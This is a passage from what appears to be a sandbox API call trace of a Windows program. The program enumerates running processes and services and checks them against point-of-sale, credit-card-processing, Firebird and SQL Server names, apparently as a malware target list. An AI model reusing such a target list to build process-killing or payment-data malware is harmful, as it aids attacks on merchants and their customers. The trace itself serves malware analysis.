18 [0157.065] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0157.066] lstrlenW (lpString="active-charge.exe") returned 17 [0157.066] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0157.066] lstrlenW (lpString="accupos.exe") returned 11 [0157.066] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0157.067] lstrlenW (lpString="afr38.exe") returned 9 [0157.067] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0157.067] lstrlenW (lpString="aldelo.exe") returned 10 [0157.067] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0157.068] lstrlenW (lpString="ccv_server.exe") returned 14 [0157.068] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0157.069] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0157.069] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0157.069] lstrlenW (lpString="creditservice.exe") returned 17 [0157.069] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0157.070] lstrlenW (lpString="edcsvr.exe") returned 10 [0157.070] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0157.070] lstrlenW (lpString="fpos.exe") returned 8 [0157.071] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0157.071] lstrlenW (lpString="isspos.exe") returned 10 [0157.071] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0157.072] lstrlenW (lpString="mxslipstream.exe") returned 16 [0157.072] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0157.072] lstrlenW (lpString="omnipos.exe") returned 11 [0157.072] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0157.073] lstrlenW (lpString="spcwin.exe") returned 10 [0157.073] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0157.073] lstrlenW (lpString="spgagentservice.exe") returned 19 [0157.074] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0157.074] lstrlenW (lpString="utg2.exe") returned 8 [0157.074] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0157.075] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0157.075] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.075] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.075] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.076] lstrlenW (lpString="svchost.exe") returned 11 [0157.076] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.076] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.076] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0157.077] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0157.077] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.077] lstrlenW (lpString="conhost.exe") returned 11 [0157.078] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0157.078] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0157.078] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.079] lstrlenW (lpString="conhost.exe") returned 11 [0157.079] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0157.079] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0157.079] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0157.080] lstrlenW (lpString="powershell.exe") returned 14 [0157.080] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.080] lstrlenW (lpString="conhost.exe") returned 11 [0157.081] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0157.081] lstrlenW (lpString="TiWorker.exe") returned 12 [0157.081] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0157.081] lstrlenW (lpString="sppsvc.exe") returned 10 [0157.082] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0157.082] lstrlenW (lpString="powershell.exe") returned 14 [0157.082] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.082] lstrlenW (lpString="conhost.exe") returned 11 [0157.083] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.083] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.083] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0157.083] lstrlenW (lpString="NS2.exe") returned 7 [0157.084] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.084] lstrlenW (lpString="conhost.exe") returned 11 [0157.084] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.085] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.085] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.085] lstrlenW (lpString="dllhost.exe") returned 11 [0157.085] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0157.086] lstrlenW (lpString="winhost.exe") returned 11 [0157.086] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0157.086] lstrlenW (lpString="cmd.exe") returned 7 [0157.086] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.086] lstrlenW (lpString="conhost.exe") returned 11 [0157.087] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0157.087] CloseHandle (hObject=0x300) returned 1 [0157.087] Sleep (dwMilliseconds=0x1f4) [0157.890] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee28 [0157.891] EnumServicesStatusExW (in: hSCManager=0x6eee28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0157.891] GetLastError () returned 0xea [0157.891] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0157.892] EnumServicesStatusExW (in: hSCManager=0x6eee28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0157.892] CloseServiceHandle (hSCObject=0x6eee28) returned 1 [0157.892] lstrlenW (lpString="Appinfo") returned 7 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.893] lstrlenW (lpString="AppXSvc") returned 7 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0157.893] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.893] lstrlenW (lpString="Audiosrv") returned 8 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0157.893] lstrlenW (lpString="BFE") returned 3 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.893] lstrlenW (lpString="BITS") returned 4 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0157.893] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0157.893] lstrlenW (lpString="CDPSvc") returned 6 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0157.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0157.893] lstrlenW (lpString="ClipSVC") returned 7 [0157.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0157.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0157.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0157.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0157.894] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0157.894] lstrlenW (lpString="CryptSvc") returned 8 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.894] lstrlenW (lpString="DcomLaunch") returned 10 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.894] lstrlenW (lpString="Dhcp") returned 4 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.894] lstrlenW (lpString="Dnscache") returned 8 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.894] lstrlenW (lpString="DoSvc") returned 5 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0157.894] lstrlenW (lpString="DPS") returned 3 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.894] lstrlenW (lpString="DusmSvc") returned 7 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0157.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0157.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0157.894] lstrlenW (lpString="EventLog") returned 8 [0157.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0157.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0157.895] lstrlenW (lpString="EventSystem") returned 11 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.895] lstrlenW (lpString="gpsvc") returned 5 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.895] lstrlenW (lpString="iphlpsvc") returned 8 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.895] lstrlenW (lpString="KeyIso") returned 6 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0157.895] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0157.895] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0157.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0157.895] lstrlenW (lpString="LanmanServer") returned 12 [0157.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 